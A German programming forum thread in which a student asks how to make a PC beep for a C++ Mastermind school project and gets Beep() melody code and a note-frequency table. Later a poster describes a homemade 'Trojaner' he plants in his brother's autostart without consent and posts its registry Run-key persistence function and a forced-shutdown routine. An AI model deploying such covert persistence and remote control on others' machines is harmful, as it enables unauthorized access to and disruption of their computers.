PC piepsen lassen?
-
Hallo zusammen!
Ich bin immernoch mit unserem Schulprojekt beschäftigt, indem wir Mastermind in c++ auf Konsole programmieren müssen (wir arbeiten mit Bloodshed DevC++).
Bin erstmal richtig happy. denn seit heute läuft das Programm richtig.
Jetzt wollten wir noch das ein oder andere Easteregg einbauen, z.b. dass der PC bei gewonnenem Spiel über den kleinen Lautsprecher im Mainboard piepst, wenn möglich eine kleine Melodie.
Ich habe schonmal irgendwo gelesen, dass es geht... Weiß zufällig jemand wie?
Danke schonmal im Voaraus...
Grüße
Hirsches
-
Kannst du afaik immer noch über:
cout << '\a';
erreichen. Ansonsten kannst du dich auch der Funktion Beep(freq, ms) aus der WinAPI bedienen.
MfG SideWinder
-
mach mal:
//Beep(freq,t) #include <windows.h> ... Beep(523,250); Beep(587,250); Beep(659,250); Beep(698,250); Beep(784,500); Beep(784,500); Beep(880,250); Beep(880,250); Beep(880,250); Beep(880,250); Beep(784,1000); Beep(880,250); Beep(880,250); Beep(880,250); Beep(880,250); Beep(784,1000); Beep(698,250); Beep(698,250); Beep(698,250); Beep(698,250); Beep(659,500); Beep(659,500); Beep(880,250); Beep(880,250); Beep(880,250); Beep(880,250); Beep(659,500); Beep(659,500); Beep(880,250); Beep(880,250); Beep(880,250); Beep(880,250); Beep(523,1000);
-
Wow, danke dir!
Das ist echt ne super Sache...
Danke...
-
lol
-
Das is geil!^^
Hast du die Melodie aus dem Kopf abspielen lassen oder gibt es da ein Programm, wo man Musik angibt welche da so "umgebaut" wird um sie dann so abspielen zu lassen?
-
einfach austesten... hat ca. 15 min. gedauert...
(ärgert jtzt meinen Bruder, siehe: http://www.support-network.info/board/1330-brudertools-computerfernsteuerung.html
)
-
sry: unter v.3.2 oder 3.3 "enten" eintippen...
-
derbeidemespiepst;) schrieb:
einfach austesten... hat ca. 15 min. gedauert...
(ärgert jtzt meinen Bruder, siehe: http://www.support-network.info/board/1330-brudertools-computerfernsteuerung.html
)wie ist das gemeint ? das du dich in sein pc reinhacks???
-
A bissl: Is ne Art Trojaner, den ich bei ihm in den autostart schreiben lasse...
arbeitet mit Winsockets und schickt dann Anweisungen an eine Art Interpreter...
-
Gibts ne möglichkeit mal den Quellcode einzusehen? Würde mich mal interessieren...
-
+---------------------------------------+ | Freq. | Note | +---------------------------------------+ 262 C - "middle C" 277 C# 294 D 311 D# 330 E 349 F 370 F# 392 G 415 G# 440 A 466 A# 494 H
-
Sorry hatte mich wohl unklar ausgedrückt...
Ich meinte, ob jemand den Quellcode zu dem Bruderärgertool hat:
http://www.support-network.info/board/1330-brudertools-computerfernsteuerung.html
-
Ja, der ist aber *GRAUENHAFT*!!! (Arbeit von ca. 30min....)
Besteht aus:
-Sender:
·Sendet über WINSOCKETS eine char-Array, wie z.B.: "enten\n\0"
·Liest die Antwort, als "Empfangsbestätigung"
-Der Empfänger:
·WINSOCKETS
·Liest den String, vergleicht in mit einigen vorgefertigten, und führt ggf. weitere Operationen durch. Dann wird die Empfangsbestätigung versandt..."shutdown" etc. sind Schnipsel ausm Inet:
bool shdwin(UINT ilFlag) { bool blRetVal = true; TOKEN_PRIVILEGES stTokenPrivileges; HANDLE hProcToken; OSVERSIONINFO stVerInfo; stVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&stVerInfo); if(stVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) { blRetVal = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcToken); if(blRetVal) { blRetVal = LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &stTokenPrivileges.Privileges[0].Luid); stTokenPrivileges.PrivilegeCount = 1; stTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } if(blRetVal) { blRetVal = AdjustTokenPrivileges(hProcToken, false, &stTokenPrivileges, 0, (PTOKEN_PRIVILEGES)NULL, 0); } } if(blRetVal) { blRetVal = ExitWindowsEx(ilFlag, NULL); } return blRetVal; }
shdwin(EWX_SHUTDOWN); shdwin(EWX_FORCE); shdwin(EWX_POWEROFF); shdwin(EWX_LOGOFF); shdwin(EWX_REBOOT);
Die Autorunzeilen entstammen diesem Forum:
void insertme() { char ModulePath[MAX_PATH]; GetModuleFileName (NULL,ModulePath, MAX_PATH); HKEY hkey; HKEY KEY = HKEY_LOCAL_MACHINE; char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"}; char name[100]= {"bt33"}; RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey); RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)ModulePath, strlen(ModulePath)); RegCloseKey(hkey); }
Naja, sagte ja, das es nur einen Zweck hatte, meinen Bruder vom PC vertreiben, damit ich beide nutzen kann...
-
lal warum reicht dir denn einer nicht??
-
Ich hab wohl noch mehr, aber keinen mit guter Grafikkarte und 2.67Ghz...
-
Wen Noten und deren Frequenzen interessiert, kann hier mal reinschauen:
Die Berechnung der Frequenz der Noten
MfG